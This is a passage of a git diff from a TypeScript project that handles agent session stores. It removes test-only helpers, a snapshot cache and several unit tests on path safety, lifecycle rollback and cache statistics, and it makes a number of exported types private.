"model_change", id: "e1", message: { role: "user" } }, 0), - ).toBeUndefined(); - expect( - extractTranscriptIndexEntry( - { type: "message", id: "m1", message: { role: "user", content: [] } }, - 0, - ), - ).toBeUndefined(); - }); - - it("falls back to the append timestamp when the event has none", () => { - const entry = extractTranscriptIndexEntry( - { type: "message", id: "m1", message: { role: "user", content: "hello" } }, - 4242, - ); - expect(entry?.timestamp).toBe(4242); - }); -}); diff --git a/src/config/sessions/session-transcript-search.ts b/src/config/sessions/session-transcript-search.ts index c7c8c1ea6f80..4cd445b5bfad 100644 --- a/src/config/sessions/session-transcript-search.ts +++ b/src/config/sessions/session-transcript-search.ts @@ -206,13 +206,3 @@ export function searchSessionTranscripts(params: { }); return { hits: hits.slice(0, limit), indexing, truncated: hits.length > limit }; } - -/** Await active reconcile passes in focused tests. */ -export async function waitForSessionTranscriptReconcileForTest(): Promise { - await Promise.all(runningReconciles.values()); -} - -/** Reset process-local reconcile state between focused tests. */ -export function resetSessionTranscriptSearchForTest(): void { - runningReconciles.clear(); -} diff --git a/src/config/sessions/sessions.test.ts b/src/config/sessions/sessions.test.ts index 27fd93e5cb52..16397da33517 100644 --- a/src/config/sessions/sessions.test.ts +++ b/src/config/sessions/sessions.test.ts @@ -11,7 +11,6 @@ import type { OpenClawConfig } from "../config.js"; import type { SessionConfig } from "../types.base.js"; import { resolveSessionLifecycleTimestamps, resolveSessionWorkStartError } from "./lifecycle.js"; import { - resolveExplicitSessionFilePath, resolveSessionFilePath, resolveSessionFilePathOptions, resolveSessionTranscriptPathInDir, @@ -30,7 +29,7 @@ import { updateSessionStoreEntry, } from "./store.js"; import { useTempSessionsFixture } from "./test-helpers.js"; -import { mergeSessionEntry, mergeSessionEntryWithPolicy, type SessionEntry } from "./types.js"; +import { mergeSessionEntry, type SessionEntry } from "./types.js"; type WriteTextAtomicCall = Parameters; @@ -87,16 +86,6 @@ describe("session path safety", () => { expect(resolved).toBe(path.resolve(sessionsDir, "sess-1.jsonl")); }); - it("rejects explicit sessionFile paths without derived fallback", () => { - const sessionsDir = "/tmp/openclaw/agents/main/sessions"; - - expect(() => - resolveExplicitSessionFilePath("/tmp/openclaw/agents/work/not-sessions/abc-123.jsonl", { - sessionsDir, - }), - ).toThrow(/within sessions directory/); - }); - it("ignores multi-store sentinel paths when deriving session file options", () => { expect(resolveSessionFilePathOptions({ agentId: "worker", storePath: "(multiple)" })).toEqual({ agentId: "worker", @@ -1004,36 +993,6 @@ describe("session store writer queue", () => { expect(merged.sessionFile).toBe("/tmp/openclaw/sessions/custom-transcript.jsonl"); }); - it("caps future updatedAt values at the session merge boundary", () => { - const now = 1_000; - const merged = mergeSessionEntryWithPolicy( - { - sessionId: "sess-future", - updatedAt: now + 10_000, - }, - { - updatedAt: now + 20_000, - }, - { now }, - ); - - expect(merged.updatedAt).toBe(now); - }); - - it("caps future updatedAt values while preserving activity", () => { - const now = 1_000; - const merged = mergeSessionEntryWithPolicy( - { - sessionId: "sess-preserve-future", - updatedAt: now + 10_000, - }, - {}, - { now, policy: "preserve-activity" }, - ); - - expect(merged.updatedAt).toBe(now); - }); - it("normalizes orphan modelProvider fields at store write boundary", async () => { const key = "agent:main:orphan-provider"; const { storePath } = await makeTmpStore({ diff --git a/src/config/sessions/skill-prompt-blobs.ts b/src/config/sessions/skill-prompt-blobs.ts index 9509ada43d6b..edb65b6d6e07 100644 --- a/src/config/sessions/skill-prompt-blobs.ts +++ b/src/config/sessions/skill-prompt-blobs.ts @@ -39,27 +39,6 @@ export function clearSessionSkillPromptRefCache(): void { promptRefCache.clear(); validPromptBlobCache.clear(); } - -export function getSessionSkillPromptRefCacheStatsForTest(): { - entries: number; - maxEntries: number; -} { - return { - entries: promptRefCache.size, - maxEntries: PROMPT_REF_CACHE_MAX_ENTRIES, - }; -} - -export function getValidSessionSkillPromptBlobCacheStatsForTest(): { - entries: number; - maxEntries: number; -} { - return { - entries: validPromptBlobCache.size, - maxEntries: VALID_PROMPT_BLOB_CACHE_MAX_ENTRIES, - }; -} - function isSha256Hex(value: string): boolean { return /^[a-f0-9]{64}$/u.test(value); } diff --git a/src/config/sessions/store-cache.ts b/src/config/sessions/store-cache.ts index 67cb3cfa937c..cd337d7255df 100644 --- a/src/config/sessions/store-cache.ts +++ b/src/config/sessions/store-cache.ts @@ -5,7 +5,7 @@ import { createExpiringMapCache, isCacheEnabled, resolveCacheTtlMs } from "../ca import { clearSessionSkillPromptRefCache } from "./skill-prompt-blobs.js"; import type { SessionEntry, SessionSkillPromptRef } from "./types.js"; -export type DeepReadonly = T extends (...args: never[]) => unknown +type DeepReadonly = T extends (...args: never[]) => unknown ? T : T extends readonly (infer U)[] ? ReadonlyArray> @@ -13,14 +13,8 @@ export type DeepReadonly = T extends (...args: never[]) => unknown ? { readonly [K in keyof T]: DeepReadonly } : T; -export type SessionStoreSnapshot = DeepReadonly>; - export type SessionStoreSnapshotEntry = DeepReadonly; -export type SessionStoreSnapshotEntries = ReadonlyArray< - readonly [string, SessionStoreSnapshotEntry] ->; - type SessionStoreCacheEntry = { store: Record; mtimeMs?: number; @@ -28,12 +22,6 @@ type SessionStoreCacheEntry = { serialized?: string; }; -type SessionStoreSnapshotCacheEntry = { - snapshot: SessionStoreSnapshot; - mtimeMs?: number; - sizeBytes?: number; -}; - type SerializedSessionStoreCacheEntry = { serialized: string; sizeBytes: number; @@ -49,11 +37,6 @@ const LARGE_SESSION_STORE_STRING_MAX_INTERNED = 256; const SESSION_STORE_CACHE = createExpiringMapCache({ ttlMs: getSessionStoreTtl, }); -const SESSION_STORE_SNAPSHOT_CACHE = createExpiringMapCache( - { - ttlMs: getSessionStoreTtl, - }, -); const SESSION_STORE_CACHE_VERSION = new Map(); const SESSION_STORE_SERIALIZED_CACHE = new Map(); const SESSION_STORE_STRING_INTERN_POOL = new Map(); @@ -125,50 +108,6 @@ function internSessionStoreLargeStrings(store: Record): vo internSessionEntryLargeStrings(entry); } } - -export function getSessionStoreStringInternStatsForTest(): { - poolSize: number; - stored: number; - reused: number; - skippedSmall: number; - skippedFull: number; - minChars: number; - maxEntries: number; -} { - return { - poolSize: SESSION_STORE_STRING_INTERN_POOL.size, - stored: SESSION_STORE_STRING_INTERN_STATS.stored, - reused: SESSION_STORE_STRING_INTERN_STATS.reused, - skippedSmall: SESSION_STORE_STRING_INTERN_STATS.skippedSmall, - skippedFull: SESSION_STORE_STRING_INTERN_STATS.skippedFull, - minChars: LARGE_SESSION_STORE_STRING_MIN_CHARS, - maxEntries: LARGE_SESSION_STORE_STRING_MAX_INTERNED, - }; -} - -export function getSerializedSessionStoreCacheStatsForTest(): { - entries: number; - totalBytes: number; - maxEntries: number; - maxBytes: number; -} { - pruneSerializedSessionStoreCache(); - return { - entries: SESSION_STORE_SERIALIZED_CACHE.size, - totalBytes: sessionStoreSerializedCacheBytes, - maxEntries: getSerializedSessionStoreCacheMaxEntries(), - maxBytes: getSerializedSessionStoreCacheMaxBytes(), - }; -} - -export function getSessionStoreSnapshotCacheStatsForTest(): { - entries: number; -} { - return { - entries: SESSION_STORE_SNAPSHOT_CACHE.size(), - }; -} - function deepFreeze(value: T, seen = new WeakSet()): DeepReadonly { if (!value || typeof value !== "object") { return value as DeepReadonly; @@ -237,18 +176,6 @@ function cloneJsonLikeValue(value: T): T { return cloned as T; } -export function cloneSessionStoreSnapshot( - store: Record, - serialized?: string, -): SessionStoreSnapshot { - const cloned = - serialized === undefined - ? cloneJsonLikeValue(store) - : (JSON.parse(serialized) as Record); - internSessionStoreLargeStrings(cloned); - return deepFreeze(cloned); -} - export function cloneSessionStoreSnapshotEntry(entry: SessionEntry): SessionStoreSnapshotEntry { return deepFreeze( expectDefined(cloneSessionStoreRecord({ entry }).entry, "cloned session cache entry"), @@ -276,7 +203,6 @@ export function getSessionStoreCacheVersion(storePath: string): number { export function clearSessionStoreCaches(): void { SESSION_STORE_CACHE.clear(); - SESSION_STORE_SNAPSHOT_CACHE.clear(); SESSION_STORE_CACHE_VERSION.clear(); SESSION_STORE_SERIALIZED_CACHE.clear(); sessionStoreSerializedCacheBytes = 0; @@ -288,7 +214,6 @@ export function clearSessionStoreCaches(): void { export function invalidateSessionStoreCache(storePath: string): void { bumpSessionStoreCacheVersion(storePath); SESSION_STORE_CACHE.delete(storePath); - SESSION_STORE_SNAPSHOT_CACHE.delete(storePath); deleteSerializedSessionStore(storePath); } @@ -371,43 +296,6 @@ export function dropSessionStoreObjectCache(storePath: string): void { SESSION_STORE_CACHE.delete(storePath); } -export function dropSessionStoreSnapshotCache(storePath: string): void { - SESSION_STORE_SNAPSHOT_CACHE.delete(storePath); -} - -export function readSessionStoreSnapshotCache(params: { - storePath: string; - mtimeMs?: number; - sizeBytes?: number; -}): SessionStoreSnapshot | null { - const cached = SESSION_STORE_SNAPSHOT_CACHE.get(params.storePath); - if (!cached) { - return null; - } - if (params.mtimeMs !== cached.mtimeMs || params.sizeBytes !== cached.sizeBytes) { - // Object and snapshot caches share file identity; a stat mismatch invalidates both views. - invalidateSessionStoreCache(params.storePath); - return null; - } - return cached.snapshot; -} - -export function writeSessionStoreSnapshotCache(params: { - storePath: string; - store: Record; - mtimeMs?: number; - sizeBytes?: number; - serialized?: string; -}): SessionStoreSnapshot { - const snapshot = cloneSessionStoreSnapshot(params.store, params.serialized); - SESSION_STORE_SNAPSHOT_CACHE.set(params.storePath, { - snapshot, - mtimeMs: params.mtimeMs, - sizeBytes: params.sizeBytes, - }); - return snapshot; -} - export function readSessionStoreCache(params: { storePath: string; mtimeMs?: number; diff --git a/src/config/sessions/store-load.ts b/src/config/sessions/store-load.ts index bc9298586efa..1ca4c44dac6e 100644 --- a/src/config/sessions/store-load.ts +++ b/src/config/sessions/store-load.ts @@ -17,16 +17,11 @@ import { hydrateSessionStoreSkillPromptRefs } from "./skill-prompt-blobs.js"; import { cloneSessionStoreRecord, cloneSessionStoreSnapshotEntry, - cloneSessionStoreSnapshot, internSessionEntryLargeStrings, isSessionStoreCacheEnabled, readSessionStoreCache, - readSessionStoreSnapshotCache, setSerializedSessionStore, writeSessionStoreCache, - writeSessionStoreSnapshotCache, - type SessionStoreSnapshot, - type SessionStoreSnapshotEntries, type SessionStoreSnapshotEntry, } from "./store-cache.js"; import { normalizePersistedSessionEntryShape } from "./store-entry-shape.js"; @@ -44,7 +39,7 @@ import { import { applySessionStoreMigrations } from "./store-migrations.js"; import { normalizeSessionRuntimeModelFields, type SessionEntry } from "./types.js"; -export type LoadSessionStoreOptions = { +type LoadSessionStoreOptions = { skipCache?: boolean; maintenanceConfig?: ResolvedSessionMaintenanceConfig; runMaintenance?: boolean; @@ -52,7 +47,7 @@ export type LoadSessionStoreOptions = { hydrateSkillPromptRefs?: boolean; }; -export type ReadSessionEntryOptions = { +type ReadSessionEntryOptions = { hydrateSkillPromptRefs?: boolean; }; @@ -531,32 +526,6 @@ export function loadSessionStore( return opts.clone === false ? store : cloneSessionStoreRecord(store, serializedFromDisk); } -export function readSessionStoreSnapshot(storePath: string): SessionStoreSnapshot { - const currentFileStat = getFileStatSnapshot(storePath); - const cacheEnabled = isSessionStoreCacheEnabled(); - if (cacheEnabled) { - const cached = readSessionStoreSnapshotCache({ - storePath, - mtimeMs: currentFileStat?.mtimeMs, - sizeBytes: currentFileStat?.sizeBytes, - }); - if (cached) { - return cached; - } - } - - const store = loadSessionStore(storePath, { clone: false }); - if (!cacheEnabled) { - return cloneSessionStoreSnapshot(store); - } - return writeSessionStoreSnapshotCache({ - storePath, - store, - mtimeMs: currentFileStat?.mtimeMs, - sizeBytes: currentFileStat?.sizeBytes, - }); -} - export function readSessionEntry( storePath: string, sessionKey: string, @@ -572,7 +541,3 @@ export function readSessionEntry( }); return resolved.existing ? cloneSessionStoreSnapshotEntry(resolved.existing) : undefined; } - -export function readSessionEntries(storePath: string): SessionStoreSnapshotEntries { - return Object.entries(readSessionStoreSnapshot(storePath)) as SessionStoreSnapshotEntries; -} diff --git a/src/config/sessions/store-maintenance-operations.ts b/src/config/sessions/store-maintenance-operations.ts index e711d9c5d10a..7ef4db41ca87 100644 --- a/src/config/sessions/store-maintenance-operations.ts +++ b/src/config/sessions/store-maintenance-operations.ts @@ -52,7 +52,7 @@ type RemovedSessionArtifactCleanup = { }) => Promise; }; -export type FileBackedSessionStoreMaintenanceParams = { +type FileBackedSessionStoreMaintenanceParams = { storePath: string; store: Record; activeSessionKey?: string; @@ -64,7 +64,7 @@ export type FileBackedSessionStoreMaintenanceParams = { artifacts: RemovedSessionArtifactCleanup; }; -export type FileBackedSessionStoreMaintenanceResult = { +type FileBackedSessionStoreMaintenanceResult = { changedStore: boolean; }; diff --git a/src/config/sessions/store-maintenance-preserve.ts b/src/config/sessions/store-maintenance-preserve.ts index efe6202a09a0..e4a5890b86af 100644 --- a/src/config/sessions/store-maintenance-preserve.ts +++ b/src/config/sessions/store-maintenance-preserve.ts @@ -4,7 +4,7 @@ import { normalizeStoreSessionKey } from "./store-entry.js"; import type { SessionEntry } from "./types.js"; /** Provider hook for session keys that maintenance/pruning should preserve. */ -export type SessionMaintenancePreserveKeysProvider = () => Iterable | undefined; +type SessionMaintenancePreserveKeysProvider = () => Iterable | undefined; const preserveKeysProviders = new Set(); diff --git a/src/config/sessions/store-maintenance.ts b/src/config/sessions/store-maintenance.ts index ef131fa329bb..b420c5bb758e 100644 --- a/src/config/sessions/store-maintenance.ts +++ b/src/config/sessions/store-maintenance.ts @@ -174,7 +174,7 @@ export function normalizeResolvedMaintenanceConfigInput( }; } -export function resolveSessionEntryMaintenanceHighWater(maxEntries: number): number { +function resolveSessionEntryMaintenanceHighWater(maxEntries: number): number { if (!Number.isSafeInteger(maxEntries) || maxEntries <= 0) { return 1; } @@ -222,7 +222,7 @@ export function shouldRunModelRunPrune(params: { }); } -export function isGatewayModelRunSessionKey(sessionKey: string): boolean { +function isGatewayModelRunSessionKey(sessionKey: string): boolean { const match = /^agent:([^:\s]+):explicit:model-run-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.exec( sessionKey, @@ -321,7 +321,7 @@ export function pruneStaleModelRunEntries( const DEFAULT_QUOTA_SUSPENSION_TTL_MS = 30 * 60 * 1000; // 30 minutes const QUOTA_SUSPENSION_CLEANUP_FACTOR = 2; // entries beyond N*ttl are deleted outright -export type QuotaSuspensionEntryMaintenanceResult = { +type QuotaSuspensionEntryMaintenanceResult = { /** Patch to apply to the entry, or null when no TTL transition is due. */ patch: Partial | null; /** Present when the entry transitioned from suspended to resuming. */ @@ -394,7 +394,7 @@ function isExternalGroupOrChannelSessionKey(sessionKey: string): boolean { return /^[^:]+:(?:group|channel):.+$/.test(rest); } -export function isProtectedSessionMaintenanceEntry( +function isProtectedSessionMaintenanceEntry( sessionKey: string, entry: SessionEntry | undefined, ): boolean { diff --git a/src/config/sessions/store-writer-state.ts b/src/config/sessions/store-writer-state.ts index 5153dbbe9e35..8c86463f7527 100644 --- a/src/config/sessions/store-writer-state.ts +++ b/src/config/sessions/store-writer-state.ts @@ -6,7 +6,7 @@ import { } from "../../shared/store-writer-queue.js"; import { clearSessionStoreCaches } from "./store-cache.js"; -export type SessionStoreWriterQueue = StoreWriterQueue; +type SessionStoreWriterQueue = StoreWriterQueue; export const WRITER_QUEUES = new Map(); @@ -19,7 +19,3 @@ export function clearSessionStoreCacheForTest(): void { export async function drainSessionStoreWriterQueuesForTest(): Promise { await drainStoreWriterQueuesForTest(WRITER_QUEUES, "session store queue cleared for test"); } - -export function getSessionStoreWriterQueueSizeForTest(): number { - return WRITER_QUEUES.size; -} diff --git a/src/config/sessions/store-writer.test.ts b/src/config/sessions/store-writer.test.ts index 4590e5945c22..81c900d975ce 100644 --- a/src/config/sessions/store-writer.test.ts +++ b/src/config/sessions/store-writer.test.ts @@ -2,7 +2,7 @@ import { afterEach, describe, expect, it } from "vitest"; import { createDeferred } from "../../test-utils/deferred.js"; import { runExclusiveSessionStoreWrite } from "./store-writer.js"; -import { clearSessionStoreCacheForTest, getSessionStoreWriterQueueSizeForTest } from "./store.js"; +import { clearSessionStoreCacheForTest } from "./store.js"; describe("session store writer", () => { afterEach(() => { @@ -26,14 +26,12 @@ describe("session store writer", () => { }); await firstStarted.promise; - expect(getSessionStoreWriterQueueSizeForTest()).toBe(1); expect(order).toEqual(["first:start"]); releaseFirst.resolve(); await Promise.all([first, second]); expect(order).toEqual(["first:start", "first:end", "second"]); - expect(getSessionStoreWriterQueueSizeForTest()).toBe(0); }); it("runs nested writes for the active store without requeueing behind itself", async () => { @@ -56,7 +54,6 @@ describe("session store writer", () => { expect(result).toBe("nested-result"); expect(order).toEqual(["outer:start", "inner", "outer:end"]); - expect(getSessionStoreWriterQueueSizeForTest()).toBe(0); }); it("does not leak active writer state to async children after the writer returns", async () => { @@ -103,13 +100,11 @@ describe("session store writer", () => { expect(order).toEqual(["blocker:start", "blocker:end", "child"]); expect(await child).toBe("child-result"); - expect(getSessionStoreWriterQueueSizeForTest()).toBe(0); }); it("rejects empty store paths before enqueuing work", async () => { await expect(runExclusiveSessionStoreWrite("", async () => undefined)).rejects.toThrow( /storePath must be a non-empty string/, ); - expect(getSessionStoreWriterQueueSizeForTest()).toBe(0); }); }); diff --git a/src/config/sessions/store-writer.ts b/src/config/sessions/store-writer.ts index 605b686de694..5538915f1f24 100644 --- a/src/config/sessions/store-writer.ts +++ b/src/config/sessions/store-writer.ts @@ -2,7 +2,7 @@ import { runQueuedStoreWrite } from "../../shared/store-writer-queue.js"; import { WRITER_QUEUES } from "./store-writer-state.js"; -export type RunExclusiveSessionStoreWriteOptions = { +type RunExclusiveSessionStoreWriteOptions = { reentrant?: boolean; }; diff --git a/src/config/sessions/store.agent-harness-invariant.test.ts b/src/config/sessions/store.agent-harness-invariant.test.ts index 3e7df3f08e21..0ab02d77f0e9 100644 --- a/src/config/sessions/store.agent-harness-invariant.test.ts +++ b/src/config/sessions/store.agent-harness-invariant.test.ts @@ -5,13 +5,8 @@ import { expectDefined } from "@openclaw/normalization-core"; import { afterEach, beforeEach, describe, expect, it } from "vitest"; import { AGENT_HARNESS_SESSION_KEY_RESERVED_MESSAGE } from "../../sessions/agent-harness-session-key.js"; import { - applySessionEntryLifecycleMutation, clearSessionStoreCacheForTest, - cleanupSessionLifecycleArtifacts, - deleteSessionEntryLifecycle, loadSessionStore, - rollbackAgentHarnessSessionEntryLifecycle, - rollbackPluginOwnedSessionEntryLifecycle, saveSessionStore, updateSessionStore, } from "./store.js"; @@ -110,36 +105,6 @@ describe("agent harness session store invariant", () => { }); }); - it("rejects an invalid reserved lifecycle upsert before persistence", async () => { - await saveSessionStore( - storePath, - { "agent:main:ordinary": { sessionId: "ordinary-session", updatedAt: 1 } }, - { skipMaintenance: true }, - ); - - await expect( - applySessionEntryLifecycleMutation({ - storePath, - upserts: [ - { - sessionKey: "agent:main:harness:codex:supervision:native-thread", - entry: { - agentHarnessId: "other", - modelSelectionLocked: true, - sessionId: "native-session", - updatedAt: 1, - }, - }, - ], - skipMaintenance: true, - }), - ).rejects.toThrow(AGENT_HARNESS_SESSION_KEY_RESERVED_MESSAGE); - - expect(loadSessionStore(storePath, { skipCache: true })).toEqual({ - "agent:main:ordinary": { sessionId: "ordinary-session", updatedAt: 1 }, - }); - }); - it("rejects a prefix-colliding harness owner through public save", async () => { const sessionKey = "agent:main:harness:foo:bar:native-thread"; @@ -161,34 +126,6 @@ describe("agent harness session store invariant", () => { expect(fs.existsSync(storePath)).toBe(false); }); - it("persists a locked reserved lifecycle upsert owned by its matching harness", async () => { - const sessionKey = "agent:main:harness:codex:supervision:native-thread"; - - await expect( - applySessionEntryLifecycleMutation({ - storePath, - upserts: [ - { - sessionKey, - entry: { - agentHarnessId: "codex", - modelSelectionLocked: true, - sessionId: "native-session", - updatedAt: 1, - }, - }, - ], - skipMaintenance: true, - }), - ).resolves.toMatchObject({ afterCount: 1 }); - - expect(loadSessionStore(storePath, { skipCache: true })[sessionKey]).toMatchObject({ - agentHarnessId: "codex", - modelSelectionLocked: true, - sessionId: "native-session", - }); - }); - it("rejects removing or reassigning any durable model-selection lock", async () => { const sessionKey = "agent:main:ordinary-locked"; const entry: SessionEntry = { @@ -517,191 +454,6 @@ describe("agent harness session store invariant", () => { }); }); - it("rejects locked lifecycle cleanup before transcript side effects", async () => { - const sessionKey = "agent:main:harness:codex:supervision:native-thread"; - const transcriptPath = path.join(tempDir, "native-session.jsonl"); - const entry: SessionEntry = { - agentHarnessId: "codex", - modelSelectionLocked: true, - sessionFile: transcriptPath, - sessionId: "native-session", - updatedAt: 1, - }; - await saveSessionStore(storePath, { [sessionKey]: entry }, { skipMaintenance: true }); - fs.writeFileSync(transcriptPath, '{"runId":"codex-supervision-marker"}\n', "utf-8"); - fs.utimesSync(transcriptPath, new Date(1), new Date(1)); - - await expect( - cleanupSessionLifecycleArtifacts({ - storePath, - sessionKeySegmentPrefix: "harness:codex:supervision:", - transcriptContentMarker: "codex-supervision-marker", - orphanTranscriptMinAgeMs: 1, - nowMs: Date.now(), - }), - ).rejects.toThrow("Model-selection-locked sessions cannot be removed"); - - expect(fs.existsSync(transcriptPath)).toBe(true); - expect(fs.readdirSync(tempDir).some((name) => name.includes(".jsonl.deleted."))).toBe(false); - await updateSessionStore( - storePath, - (store) => { - store["agent:main:ordinary"] = { sessionId: "ordinary-session", updatedAt: 2 }; - }, - { skipMaintenance: true }, - ); - expect(loadSessionStore(storePath, { skipCache: true })[sessionKey]).toEqual(entry); - }); - - it("allows only the dedicated exact harness-initialization rollback", async () => { - const sessionKey = "agent:main:harness:codex:supervision:native-thread"; - const entry: SessionEntry = { - agentHarnessId: "codex", - modelSelectionLocked: true, - sessionId: "native-session", - updatedAt: 1, - }; - const params = { - archiveTranscript: false, - expectedEntry: entry, - expectedSessionId: entry.sessionId, - expectedUpdatedAt: entry.updatedAt, - storePath, - target: { canonicalKey: sessionKey, storeKeys: [sessionKey] }, - }; - await saveSessionStore(storePath, { [sessionKey]: entry }, { skipMaintenance: true }); - - await expect(deleteSessionEntryLifecycle(params)).rejects.toThrow( - "Model-selection-locked sessions cannot be removed", - ); - await expect(rollbackAgentHarnessSessionEntryLifecycle(params)).resolves.toMatchObject({ - deleted: true, - }); - expect(loadSessionStore(storePath, { skipCache: true })[sessionKey]).toBeUndefined(); - }); - - it("archives every file-backed alias during plugin-owned rollback", async () => { - const canonicalKey = "agent:main:catalog-owned"; - const aliasKey = "catalog-owned"; - const sessionId = "catalog-shared-session"; - const canonicalTranscriptPath = path.join(tempDir, "catalog-canonical.jsonl"); - const aliasTranscriptPath = path.join(tempDir, "catalog-alias.jsonl"); - const survivingTranscriptPath = path.join(tempDir, "catalog-surviving.jsonl"); - const canonicalEntry: SessionEntry = { - modelSelectionLocked: true, - pluginOwnerId: "anthropic", - sessionFile: canonicalTranscriptPath, - sessionId, - updatedAt: 2, - }; - const aliasEntry: SessionEntry = { - modelSelectionLocked: true, - pluginOwnerId: "anthropic", - sessionFile: aliasTranscriptPath, - sessionId, - updatedAt: 1, - }; - await saveSessionStore( - storePath, - { - [canonicalKey]: canonicalEntry, - [aliasKey]: aliasEntry, - "agent:main:catalog-surviving": { - sessionFile: survivingTranscriptPath, - sessionId, - updatedAt: Date.now(), - }, - }, - { skipMaintenance: true }, - ); - fs.writeFileSync(canonicalTranscriptPath, "canonical\n", "utf-8"); - fs.writeFileSync(aliasTranscriptPath, "alias\n", "utf-8"); - fs.writeFileSync(survivingTranscriptPath, "surviving\n", "utf-8"); - - const result = await rollbackPluginOwnedSessionEntryLifecycle({ - archiveTranscript: true, - expectedEntry: canonicalEntry, - expectedPluginOwnerId: "anthropic", - expectedSessionId: sessionId, - expectedUpdatedAt: canonicalEntry.updatedAt, - storePath, - target: { canonicalKey, storeKeys: [canonicalKey, aliasKey] }, - }); - - expect(result.deleted).toBe(true); - expect(result.archivedTranscripts.map(({ archivedPath }) => archivedPath)).toEqual( - expect.arrayContaining([ - expect.stringContaining("catalog-canonical.jsonl.deleted."), - expect.stringContaining("catalog-alias.jsonl.deleted."), - ]), - ); - expect(loadSessionStore(storePath, { skipCache: true })).toHaveProperty( - ["agent:main:catalog-surviving", "sessionId"], - sessionId, - ); - expect(fs.readFileSync(survivingTranscriptPath, "utf-8")).toBe("surviving\n"); - }); - - it("preserves a file-backed transcript referenced by a different session id", async () => { - const removedKey = "agent:main:catalog-removed"; - const survivingKey = "agent:main:catalog-surviving"; - const transcriptPath = path.join(tempDir, "catalog-shared-path.jsonl"); - const removedEntry: SessionEntry = { - modelSelectionLocked: true, - pluginOwnerId: "anthropic", - sessionFile: transcriptPath, - sessionId: "catalog-removed-session", - updatedAt: 1, - }; - const survivingEntry: SessionEntry = { - sessionFile: transcriptPath, - sessionId: "catalog-surviving-session", - updatedAt: Date.now(), - }; - await saveSessionStore( - storePath, - { [removedKey]: removedEntry, [survivingKey]: survivingEntry }, - { skipMaintenance: true }, - ); - fs.writeFileSync(transcriptPath, "shared\n", "utf-8"); - - const result = await rollbackPluginOwnedSessionEntryLifecycle({ - archiveTranscript: true, - expectedEntry: removedEntry, - expectedPluginOwnerId: "anthropic", - expectedSessionId: removedEntry.sessionId, - expectedUpdatedAt: removedEntry.updatedAt, - storePath, - target: { canonicalKey: removedKey, storeKeys: [removedKey] }, - }); - - expect(result.archivedTranscripts).toEqual([]); - expect(loadSessionStore(storePath, { skipCache: true })[survivingKey]).toEqual(survivingEntry); - expect(fs.readFileSync(transcriptPath, "utf-8")).toBe("shared\n"); - }); - - it("does not expose privileged rollback for an unlocked legacy prefix collision", async () => { - const sessionKey = "agent:main:harness:notes"; - const entry: SessionEntry = { - agentHarnessId: "openclaw", - sessionId: "legacy-session", - updatedAt: 1, - }; - await saveSessionStore(storePath, { [sessionKey]: entry }, { skipMaintenance: true }); - - await expect( - rollbackAgentHarnessSessionEntryLifecycle({ - archiveTranscript: false, - expectedEntry: entry, - expectedSessionId: entry.sessionId, - expectedUpdatedAt: entry.updatedAt, - storePath, - target: { canonicalKey: sessionKey, storeKeys: [sessionKey] }, - }), - ).rejects.toThrow("Model-selection-locked sessions cannot be removed"); - expect(loadSessionStore(storePath, { skipCache: true })[sessionKey]).toEqual(entry); - }); - it("does not treat reserved harness keys as relocatable aliases", async () => { const sourceKey = "agent:main:harness:codex:supervision:source-thread"; const targetKey = "agent:main:harness:codex:supervision:other-thread"; diff --git a/src/config/sessions/store.pruning.test.ts b/src/config/sessions/store.pruning.test.ts index f1ce5bbd373c..565e6094ecf2 100644 --- a/src/config/sessions/store.pruning.test.ts +++ b/src/config/sessions/store.pruning.test.ts @@ -8,20 +8,17 @@ import { collectSessionMaintenancePreserveKeys, registerSessionMaintenancePreserveKeysProvider, } from "./store-maintenance-preserve.js"; -import { - isGatewayModelRunSessionKey, - isProtectedSessionMaintenanceEntry, - resolveMaintenanceConfigFromInput, - resolveQuotaSuspensionEntryMaintenance, - resolveSessionEntryMaintenanceHighWater, - shouldRunModelRunPrune, -} from "./store-maintenance.js"; import { capEntryCount, getActiveSessionMaintenanceWarning, pruneStaleEntries, pruneStaleModelRunEntries, -} from "./store.js"; + resolveMaintenanceConfigFromInput, + resolveQuotaSuspensionEntryMaintenance, + shouldPreserveMaintenanceEntry, + shouldRunModelRunPrune, + shouldRunSessionEntryMaintenance, +} from "./store-maintenance.js"; import type { SessionEntry } from "./types.js"; const DAY_MS = 24 * 60 * 60 * 1000; @@ -44,6 +41,23 @@ function makeStore(entries: Array<[string, SessionEntry]>): Record new Set(), diff --git a/src/config/sessions/store.skills-stripping.test.ts b/src/config/sessions/store.skills-stripping.test.ts index 5ee9bcf3b1e6..76da3f9503a1 100644 --- a/src/config/sessions/store.skills-stripping.test.ts +++ b/src/config/sessions/store.skills-stripping.test.ts @@ -6,18 +6,13 @@ import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } import type { Skill } from "../../skills/loading/skill-contract.js"; import { createCanonicalFixtureSkill } from "../../skills/test-support/test-helpers.js"; import { createSuiteTempRootTracker } from "../../test-helpers/temp-dir.js"; -import type { SessionEntry, SessionSkillPromptRef, SessionSkillSnapshot } from "./types.js"; +import type { SessionEntry, SessionSkillSnapshot } from "./types.js"; vi.mock("../config.js", async () => ({ ...(await vi.importActual("../config.js")), getRuntimeConfig: vi.fn().mockReturnValue({}), })); -import { - getSessionSkillPromptRefCacheStatsForTest, - getValidSessionSkillPromptBlobCacheStatsForTest, - isSessionSkillPromptBlobReadable, -} from "./skill-prompt-blobs.js"; import { clearSessionStoreCacheForTest, loadSessionStore, @@ -184,29 +179,29 @@ describe("session store strips resolvedSkills from persistence", () => { expect(stat.size).toBeLessThan(2 * 1024 * 1024); }); - it("stores duplicate large skills prompts as content-addressed blobs", async () => { + it("stores duplicate large skills prompts as one content-addressed blob", async () => { const prompt = `\n${"skill prompt body\n".repeat(200)}`; - const store = { - "agent:main:test:1": makeEntry("session-1", makeSnapshotWithPrompt(prompt)), - "agent:main:test:2": makeEntry("session-2", makeSnapshotWithPrompt(prompt)), - }; + await saveSessionStore( + storePath, + { + "agent:main:test:1": makeEntry("session-1", makeSnapshotWithPrompt(prompt)), + "agent:main:test:2": makeEntry("session-2", makeSnapshotWithPrompt(prompt)), + }, + { skipMaintenance: true }, + ); - await saveSessionStore(storePath, store, { skipMaintenance: true }); - - const raw = await fs.readFile(storePath, "utf-8"); - expect(raw).not.toContain("skill prompt body"); - const parsed = JSON.parse(raw) as Record; - const firstRef = parsed["agent:main:test:1"]?.skillsSnapshot - ?.promptRef as SessionSkillPromptRef; - const secondRef = parsed["agent:main:test:2"]?.skillsSnapshot - ?.promptRef as SessionSkillPromptRef; - expect(firstRef).toMatchObject({ - version: 1, 